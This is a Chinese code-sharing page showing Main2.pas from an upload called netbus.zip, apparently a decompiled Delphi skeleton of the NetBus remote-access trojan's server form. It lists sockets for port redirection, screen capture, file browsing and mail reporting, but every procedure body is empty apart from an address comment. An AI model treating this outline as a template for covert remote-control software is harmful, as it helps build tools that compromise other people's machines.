开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
Main2.pas
资源名称：netbus.zip　[点击查看]
上传用户：sbswcs
上传日期：2007-01-07
资源大小：4k
文件大小：7k
源码类别：

远程控制编程

开发平台：

Delphi

Main2.pas：源码内容
  1. unit Main2;
  3. interface
  5. uses
  6.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  7.   ScktComp, ExtCtrls, FileIterator, DriveList, MPlayer, Volume;
  9. type
  10.   TMainForm2 = class(TForm)
  11.     ServerSock: TServerSocket;
  12.     ServerSock2: TServerSocket;
  13.     DelayTimer: TTimer;
  14.     RecordTimer: TTimer;
  15.     FileIterator1: TFileIterator;
  16.     DriveList1: TDriveList;
  17.     MediaPlayer1: TMediaPlayer;
  18.     VolumeControl1: TVolumeControl;
  19.     PortRedirSvr: TServerSocket;
  20.     PortRedirClient: TClientSocket;
  21.     ScreenSock: TServerSocket;
  22.     MailTimer: TTimer;
  23.     AppRedirSvr: TServerSocket;
  24.     procedure FormCreate(Sender: TObject);
  25.     procedure FormDestroy(Sender: TObject);
  26.     procedure DelayTimerTimer(Sender: TObject);
  27.     procedure ServerSockClientConnect(Sender: TObject; Socket: TCustomWinSocket);
  28.     procedure ServerSockClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
  29.     procedure ServerSockClientRead(Sender: TObject; Socket: TCustomWinSocket);
  30.     procedure ServerSockClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  31.     procedure ServerSock2ClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  32.     procedure ServerSock2GetThread(Sender: TObject; ClientSocket: TServerClientWinSocket; var SocketThread: TServerClientThread);
  33.     procedure RecordTimerTimer(Sender: TObject);
  34.     procedure FileIterator1AddFile(Sender: TObject; const FileName: String; const FileInfo: TFileInfo);
  35.     procedure FileIterator1NewDirectory(Sender: TObject; const DirName: String);
  36.     procedure FileIterator1Terminate(Sender: TObject);
  37.     procedure PortRedirSvrClientConnect(Sender: TObject; Socket: TCustomWinSocket);
  38.     procedure PortRedirSvrClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
  39.     procedure PortRedirSvrClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  40.     procedure PortRedirSvrClientRead(Sender: TObject; Socket: TCustomWinSocket);
  41.     procedure PortRedirSvrClientWrite(Sender: TObject; Socket: TCustomWinSocket);
  42.     procedure PortRedirClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  43.     procedure PortRedirClientConnect(Sender: TObject; Socket: TCustomWinSocket);
  44.     procedure PortRedirClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
  45.     procedure PortRedirClientRead(Sender: TObject; Socket: TCustomWinSocket);
  46.     procedure PortRedirClientWrite(Sender: TObject; Socket: TCustomWinSocket);
  47.     procedure ScreenSockClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  48.     procedure ScreenSockGetThread(Sender: TObject; ClientSocket: TServerClientWinSocket; var SocketThread: TServerClientThread);
  49.     procedure PortRedirSvrGetThread(Sender: TObject; ClientSocket: TServerClientWinSocket; var SocketThread: TServerClientThread);
  50.     procedure MailTimerTimer(Sender: TObject);
  51.     procedure AppRedirSvrGetThread(Sender: TObject; ClientSocket: TServerClientWinSocket; var SocketThread: TServerClientThread);
  52.     procedure AppRedirSvrClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  53.   private
  54.     { Private declarations }
  55.   public
  56.     { Public declarations }
  57.   end;
  59. var
  60.   MainForm2: TMainForm2;
  62. implementation
  64. {$R *.DFM}
  66. procedure TMainForm2.FormCreate(Sender: TObject);
  67. begin
  68. // Address $455698
  69. end;
  71. procedure TMainForm2.FormDestroy(Sender: TObject);
  72. begin
  73. // Address $455EA0
  74. end;
  76. procedure TMainForm2.DelayTimerTimer(Sender: TObject);
  77. begin
  78. // Address $458814
  79. end;
  81. procedure TMainForm2.ServerSockClientConnect(Sender: TObject; Socket: TCustomWinSocket);
  82. begin
  83. // Address $4589F0
  84. end;
  86. procedure TMainForm2.ServerSockClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
  87. begin
  88. // Address $458BA4
  89. end;
  91. procedure TMainForm2.ServerSockClientRead(Sender: TObject; Socket: TCustomWinSocket);
  92. begin
  93. // Address $458C18
  94. end;
  96. procedure TMainForm2.ServerSockClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  97. begin
  98. // Address $458D24
  99. end;
  101. procedure TMainForm2.ServerSock2ClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  102. begin
  103. // Address $458D34
  104. end;
  106. procedure TMainForm2.ServerSock2GetThread(Sender: TObject; ClientSocket: TServerClientWinSocket; var SocketThread: TServerClientThread);
  107. begin
  108. // Address $458D44
  109. end;
  111. procedure TMainForm2.RecordTimerTimer(Sender: TObject);
  112. begin
  113. // Address $458D8C
  114. end;
  116. procedure TMainForm2.FileIterator1AddFile(Sender: TObject; const FileName: String; const FileInfo: TFileInfo);
  117. begin
  118. // Address $458E90
  119. end;
  121. procedure TMainForm2.FileIterator1NewDirectory(Sender: TObject; const DirName: String);
  122. begin
  123. // Address $458FDC
  124. end;
  126. procedure TMainForm2.FileIterator1Terminate(Sender: TObject);
  127. begin
  128. // Address $4590BC
  129. end;
  131. procedure TMainForm2.PortRedirSvrClientConnect(Sender: TObject; Socket: TCustomWinSocket);
  132. begin
  133. // Address $4590D8
  134. end;
  136. procedure TMainForm2.PortRedirSvrClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
  137. begin
  138. // Address $45916C
  139. end;
  141. procedure TMainForm2.PortRedirSvrClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  142. begin
  143. // Address $4591A4
  144. end;
  146. procedure TMainForm2.PortRedirSvrClientRead(Sender: TObject; Socket: TCustomWinSocket);
  147. begin
  148. // Address $459314
  149. end;
  151. procedure TMainForm2.PortRedirSvrClientWrite(Sender: TObject; Socket: TCustomWinSocket);
  152. begin
  153. // Address $4591B4
  154. end;
  156. procedure TMainForm2.PortRedirClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  157. begin
  158. // Address $4593D0
  159. end;
  161. procedure TMainForm2.PortRedirClientConnect(Sender: TObject; Socket: TCustomWinSocket);
  162. begin
  163. // Address $4593E0
  164. end;
  166. procedure TMainForm2.PortRedirClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
  167. begin
  168. // Address $4593E8
  169. end;
  171. procedure TMainForm2.PortRedirClientRead(Sender: TObject; Socket: TCustomWinSocket);
  172. begin
  173. // Address $459414
  174. end;
  176. procedure TMainForm2.PortRedirClientWrite(Sender: TObject; Socket: TCustomWinSocket);
  177. begin
  178. // Address $4594C0
  179. end;
  181. procedure TMainForm2.ScreenSockClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  182. begin
  183. // Address $459764
  184. end;
  186. procedure TMainForm2.ScreenSockGetThread(Sender: TObject; ClientSocket: TServerClientWinSocket; var SocketThread: TServerClientThread);
  187. begin
  188. // Address $45976C
  189. end;
  191. procedure TMainForm2.PortRedirSvrGetThread(Sender: TObject; ClientSocket: TServerClientWinSocket; var SocketThread: TServerClientThread);
  192. begin
  193. // Address $459774
  194. end;
  196. procedure TMainForm2.MailTimerTimer(Sender: TObject);
  197. begin
  198. // Address $459C70
  199. end;
  201. procedure TMainForm2.AppRedirSvrGetThread(Sender: TObject; ClientSocket: TServerClientWinSocket; var SocketThread: TServerClientThread);
  202. begin
  203. // Address $459F04
  204. end;
  206. procedure TMainForm2.AppRedirSvrClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  207. begin
  208. // Address $459F24
  209. end;
  211. end.